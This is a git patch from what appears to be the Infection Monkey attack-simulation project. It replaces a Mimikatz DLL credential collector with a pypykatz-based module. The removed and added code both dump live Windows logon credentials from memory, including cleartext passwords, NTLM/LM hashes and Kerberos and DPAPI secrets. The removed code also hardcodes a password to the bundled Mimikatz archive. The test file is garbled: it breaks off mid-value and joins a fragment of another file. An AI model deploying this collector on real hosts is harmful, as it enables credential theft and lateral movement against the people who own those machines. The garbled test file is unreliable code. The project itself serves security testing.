From 90b47a4bb644665ebabc2d4f375f6927d440ace9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 3 Jun 2020 10:02:31 +0300 Subject: [PATCH] Migrated to pypykatz on monkey --- monkey/infection_monkey/requirements.txt | 1 + .../system_info/mimikatz_collector.py | 129 ------------------ .../windows_cred_collector/__init__.py | 0 .../pypykatz_handler.py | 72 ++++++++++ .../test_pypykatz_handler.py | 84 ++++++++++++ .../windows_cred_collector.py | 22 +++ .../windows_credential.py | 15 ++ .../system_info/windows_info_collector.py | 25 ++-- 8 files changed, 208 insertions(+), 140 deletions(-) delete mode 100644 monkey/infection_monkey/system_info/mimikatz_collector.py create mode 100644 monkey/infection_monkey/system_info/windows_cred_collector/__init__.py create mode 100644 monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py create mode 100644 monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py create mode 100644 monkey/infection_monkey/system_info/windows_cred_collector/windows_cred_collector.py create mode 100644 monkey/infection_monkey/system_info/windows_cred_collector/windows_credential.py diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 7cbb5369f..dd4addcbd 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -17,3 +17,4 @@ wmi==1.4.9 ; sys_platform == 'win32' pymssql<3.0 pyftpdlib WinSys-3.x +pypykatz diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py deleted file mode 100644 index 8b62217cc..000000000 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ /dev/null @@ -1,129 +0,0 @@ -import binascii -import ctypes -import logging -import socket -import zipfile - -import infection_monkey.config -from common.utils.attack_utils import ScanStatus, UsageEnum -from infection_monkey.telemetry.attack.t1129_telem import T1129Telem -from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path - -__author__ = 'itay.mizeretz' - -LOG = logging.getLogger(__name__) - - -class MimikatzCollector(object): - """ - Password collection module for Windows using Mimikatz. - """ - - # Name of Mimikatz DLL. Must be name of file in Mimikatz zip. - MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll' - - # Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec - MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' - - # Password to Mimikatz zip file - MIMIKATZ_ZIP_PASSWORD = b'VTQpsJPXgZuXhX6x3V84G' - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - self._isInit = False - self._dll = None - self._collect = None - self._get = None - self.init_mimikatz() - - def init_mimikatz(self): - try: - with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip: - mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(), - pwd=self.MIMIKATZ_ZIP_PASSWORD) - - self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME)) - collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) - get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) - get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) - self._collect = collect_proto(("collect", self._dll)) - self._get = get_proto(("get", self._dll)) - self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) - self._isInit = True - status = ScanStatus.USED - except Exception: - LOG.exception("Error initializing mimikatz collector") - status = ScanStatus.SCANNED - T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send() - T1129Telem(status, UsageEnum.MIMIKATZ).send() - - def get_logon_info(self): - """ - Gets the logon info from mimikatz. - Returns a dictionary of users with their known credentials. - """ - LOG.info('Getting mimikatz logon information') - if not self._isInit: - return {} - LOG.debug("Running mimikatz collector") - - try: - entry_count = self._collect() - - logon_data_dictionary = {} - hostname = socket.gethostname() - - self.mimikatz_text = self._get_text_output_proto() - - for i in range(entry_count): - entry = self._get() - username = entry.username - - password = entry.password - lm_hash = binascii.hexlify(bytearray(entry.lm_hash)).decode() - ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)).decode() - - if 0 == len(password): - has_password = False - elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()): - # Don't save the password of the host domain user (HOSTNAME$) - has_password = False - else: - has_password = True - - has_lm = ("00000000000000000000000000000000" != lm_hash) - has_ntlm = ("00000000000000000000000000000000" != ntlm_hash) - - if username not in logon_data_dictionary: - logon_data_dictionary[username] = {} - if has_password: - logon_data_dictionary[username]["password"] = password - if has_lm: - logon_data_dictionary[username]["lm_hash"] = lm_hash - if has_ntlm: - logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash - - return logon_data_dictionary - except Exception: - LOG.exception("Error getting logon info") - return {} - - def get_mimikatz_text(self): - return self.mimikatz_text - - class LogonData(ctypes.Structure): - """ - Logon data structure returned from mimikatz. - """ - - WINDOWS_MAX_USERNAME_PASS_LENGTH = 257 - LM_NTLM_HASH_LENGTH = 16 - - _fields_ = \ - [ - ("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), - ("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), - ("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH), - ("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH) - ] diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/__init__.py b/monkey/infection_monkey/system_info/windows_cred_collector/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py new file mode 100644 index 000000000..3e726a989 --- /dev/null +++ b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py @@ -0,0 +1,72 @@ +import binascii +from typing import Dict, List + +from pypykatz.pypykatz import pypykatz + +from infection_monkey.system_info.windows_cred_collector.windows_credential import WindowsCredential + +CREDENTIAL_TYPES = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'dpapi_creds', + 'kerberos_creds', 'credman_creds', 'tspkg_creds'] + + +def get_windows_creds(): + pypy_handle = pypykatz.go_live() + logon_data = pypy_handle.to_dict() + windows_creds = _parse_pypykatz_results(logon_data) + return windows_creds + + +def _parse_pypykatz_results(pypykatz_data: Dict) -> List: + windows_creds = [] + for session in pypykatz_data['logon_sessions'].values(): + windows_creds.extend(_get_creds_from_pypykatz_session(session)) + return windows_creds + + +def _get_creds_from_pypykatz_session(pypykatz_session: Dict): + windows_creds = [] + for cred_type_key in CREDENTIAL_TYPES: + pypykatz_creds = pypykatz_session[cred_type_key] + windows_creds.extend(_get_creds_from_pypykatz_creds(pypykatz_creds)) + return windows_creds + + +def _get_creds_from_pypykatz_creds(pypykatz_creds): + creds = _filter_empty_creds(pypykatz_creds) + return [_get_windows_cred(cred) for cred in creds] + + +def _filter_empty_creds(pypykatz_creds: List[Dict]): + return [cred for cred in pypykatz_creds if not _is_cred_empty(cred)] + + +def _is_cred_empty(pypykatz_cred: Dict): + password_empty = 'password' not in pypykatz_cred or not pypykatz_cred['password'] + ntlm_hash_empty = 'NThash' not in pypykatz_cred or not pypykatz_cred['NThash'] + lm_hash_empty = 'LMhash' not in pypykatz_cred or not pypykatz_cred['LMhash'] + return password_empty and ntlm_hash_empty and lm_hash_empty + + +def _get_windows_cred(pypykatz_cred: Dict): + password = '' + ntlm_hash = '' + lm_hash = '' + username = pypykatz_cred['username'] + if 'password' in pypykatz_cred: + password = pypykatz_cred['password'] + if 'NThash' in pypykatz_cred: + ntlm_hash = _hash_to_string(pypykatz_cred['NThash']) + if 'LMhash' in pypykatz_cred: + lm_hash = _hash_to_string(pypykatz_cred['LMhash']) + return WindowsCredential(username=username, + password=password, + ntlm_hash=ntlm_hash, + lm_hash=lm_hash) + + +def _hash_to_string(hash): + if type(hash) == str: + return hash + if type(hash) == bytes: + return binascii.hexlify(bytearray(hash)).decode() + raise Exception(f"Can't convert hash to string, unsupported hash type {type(hash)}") diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py new file mode 100644 index 000000000..025f5d1dc --- /dev/null +++ b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -0,0 +1,84 @@ +from unittest import TestCase + +from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import _get_creds_from_pypykatz_session + + +class TestPypykatzHandler(TestCase): + # Made up credentials, but structure of dict should be roughly the same + PYPYKATZ_SESSION = { + 'authentication_id': 555555, 'session_id': 3, 'username': 'Monkey', + 'domainname': 'ReAlDoMaIn', 'logon_server': 'ReAlDoMaIn', + 'logon_time': '2020-06-02T04:53:45.256562+00:00', + 'sid': 'S-1-6-25-260123139-3611579848-5589493929-3021', 'luid': 123086, + 'msv_creds': [ + {'username': 'monkey', 'domainname': 'ReAlDoMaIn', + 'NThash': b'1\xb7 Dict: + return {'username': self.username, + 'password': self.password, + 'ntlm_hash': self.ntlm_hash, + 'lm_hash': self.lm_hash} diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 857b42303..01d6c768e 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -2,12 +2,12 @@ import os import logging import sys +from infection_monkey.system_info.windows_cred_collector.windows_cred_collector import WindowsCredentialCollector + sys.coinit_flags = 0 # needed for proper destruction of the wmi python module # noinspection PyPep8 import infection_monkey.config # noinspection PyPep8 -from infection_monkey.system_info.mimikatz_collector import MimikatzCollector -# noinspection PyPep8 from infection_monkey.system_info import InfoCollector # noinspection PyPep8 from infection_monkey.system_info.wmi_consts import WMI_CLASSES @@ -61,12 +61,15 @@ class WindowsInfoCollector(InfoCollector): LOG.debug('finished get_wmi_info') def get_mimikatz_info(self): - mimikatz_collector = MimikatzCollector() - mimikatz_info = mimikatz_collector.get_logon_info() - if mimikatz_info: - if "credentials" in self.info: - self.info["credentials"].update(mimikatz_info) - self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() - LOG.info('Mimikatz info gathered successfully') - else: - LOG.info('No mimikatz info was gathered') + LOG.info("Gathering mimikatz info") + try: + credentials = WindowsCredentialCollector.get_creds() + if credentials: + if "credentials" in self.info: + self.info["credentials"].update(credentials) + self.info["mimikatz"] = credentials + LOG.info('Mimikatz info gathered successfully') + else: + LOG.info('No mimikatz info was gathered') + except Exception as e: + LOG.info(f"Pypykatz failed: {e}")